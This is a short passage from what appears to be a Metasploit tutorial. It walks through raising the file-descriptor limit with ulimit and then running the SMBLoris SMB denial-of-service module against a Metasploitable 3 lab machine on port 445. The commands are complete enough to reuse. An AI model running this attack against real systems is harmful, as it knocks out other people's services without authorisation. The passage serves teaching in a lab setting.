- Before using the SMBLoris NBSS Denial of Service auxiliary DoS module, we need to use the ulimit command to set the maximum number of open file descriptors to 65535, so we can handle simultaneous connections:
root@kali:~# ulimit -n 65535root@kali:~# ulimit -n65535root@kali:~#
- Now that we have set the maximum number of simultaneous connections to 65535, we can use the SMBLoris NBSS Denial of Service auxiliary DoS module to attack our target, by simply setting the IP address of the Metasploitable 3 machine and typing run to run the module:
root@kali:~# msfconsole -qmsf > use auxiliary/dos/smb/smb_loris msf auxiliary(smb_loris) > set RHOST 192.168.216.10RHOST => 192.168.216.10msf auxiliary(smb_loris) > run [*] 192.168.216.10:445 ...